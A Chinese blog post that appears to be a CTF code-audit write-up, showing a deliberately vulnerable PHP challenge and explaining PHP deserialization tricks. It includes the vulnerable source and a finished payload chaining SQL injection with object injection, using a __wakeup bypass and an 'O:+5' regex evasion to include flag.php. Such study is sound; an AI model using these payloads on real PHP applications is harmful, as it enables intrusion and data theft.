代码审计-------继续加强对反序列化的理解

根据文章:

https://mochazz.github.io/2018/09/12/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1Day11%20-%20unserialize%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

继续做下面的题目

Test.php

<?php
//error_reporting(0);

include "config.php";

class HITCON{
    public $method;
    public $args;
    public $conn;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->__conn();
    }

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
        if (!$this->conn)
            $this->conn = mysqli_connect($db_host, $db_user, $db_pass);
        mysqli_select_db($this->conn,$db_name);
        if ($DEBUG) {
            $sql = "DROP TABLE IF  EXISTS  users";
            $this->__query($sql, $back=false);
            $sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
            password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

            $this->__query($sql, $back=false);
            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        }
        mysqli_query("SET names utf8");
        mysqli_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = mysqli_query($this->conn,$sql);
        if ($back) {
            return @mysqli_fetch_object($result);
        }
    }
  
    function login() {
        list($username, $password) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
        $obj = $this->__query($sql);
        if ( $obj != false ) {
            define('IN_FLAG', TRUE);
            $this->loadData($obj->role);
        }
        else {
          $this->__die("sorry!");
        }
    }

    function loadData($data) {
        if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
            return unserialize($data);
        }
        return [];
    }
  
    function __die($msg) {
        $this->__close();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysqli_close($this->conn);
    }

    function source() {
         highlight_file(__FILE__);
    }

    function __destruct() {
        $this->__conn();
        if (in_array($this->method, array("login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        }
        else {
            $this->__die("What do you do?");
        }
        $this->__close();
    }

    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysqli_escape_string($v)));
        }
    }
}
class SoFun{
    public $file='index.php';
    function __destruct(){
        if(!empty($this->file)) {
            include $this->file;
        }
    }
    function __wakeup(){
       $this-> file='index.php';
    }
}
if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);
}
else {
    new HITCON("source", array());
}

?>

 

Config.php

<?php
    $db_host = 'localhost';

    $db_name = 'test';
    $db_user = 'root';
    $db_pass = '1234';
   $DEBUG = 'xx';
?>

 

Flag.php

<?php
!defined('IN_FLAG') && exit('Access Denied');

echo "flag{un3eri@liz3_i3_s0_fun}";

?>

 

题目限制:flag.php页面没有权限访问,只有通过test.php页面的

function login() {
    list($username, $password) = func_get_args();
    $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
    $obj = $this->__query($sql);
    if ( $obj != false ) {
        define('IN_FLAG', TRUE);
        $this->loadData($obj->role);
    }
    else {
      $this->__die("sorry!");
    }
}

flag.php页面给权限,才可以访问

<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";

?>

 

然后跟踪程序,看看怎样运行到这里,程序走向,逆着走就是

include $this->file; ----unserialize($data); ----$this->loadData($obj->role); ----login() ----

@call_user_func_array(array($this, $this->method), $this->args);

 

这里要讲一下一个魔术方法,前面我们都很熟悉其他的魔术方法(__get()__destruct()__construct()),这里学一个新的魔术方法  __wakeup()

这个魔术方法是在代码中如果有unserialize() 函数的时候,就是自动调用

 

但是这个魔术方法是可以绕过的,如果序列化一个class ,但是它的属性比本来的属性多,那么就不会进去这个函数,当然反序列也会失败,但是还是会执行反序列出来的class (我也不知道是不是反序列失败了,但是我用var_dump()显示出来是false

举个例子说一下

 

 

下面可以看到,class test 里面,只要一个属性$tnienie ,所以大括号前面就是1

如果这个class里面有__wakeup() , 并且是unserialize()这个函数的,那么就会先执行__wakeup()方法,

但是,如果我们将那个1修改成其他的数字(比1大,但是同位数),例如改成2,就会不执行__wakeup() ,同样也会不执行__construct() ,直接执行__destruct()

 

可以看到题目的源码,两个class都有一个__wakeup(),也就是说,如果反序列出来的,无论哪个class,都会执行那个魔术方法

 

讲到这里,如果前面那篇文章明白的话,基本都可以构造payload了,题目中注入的数据就不解析了,基本的sql注入

 

下面直接看payload构造

 

 

Payload这里要注意一下,这样构造出来的是不能直接用的,还要改一下

 

 

修改O:6:"HITCON":2:   O:6:"HITCON":3:

修改 s:92:"1' or  s:93:"1' or

修改 a:1:{i:0;O:5  为  a:1:{i:0;O:%2b5

修改 "SoFun":1:{s:4  "SoFun":2:{s:4

修改 limit 2,3#";  limit 2,3%23";

修改完就是这样子

O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:93:"1' or 1=1 union select 1,2,'a:1:{i:0;O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}' limit 2,3%23";s:8:"password";s:3:"abc";}}

然后执行

 

 

 

 

posted @ 2018-10-15 01:11  捏捏nienie  阅读(874)  评论(0编辑  收藏  举报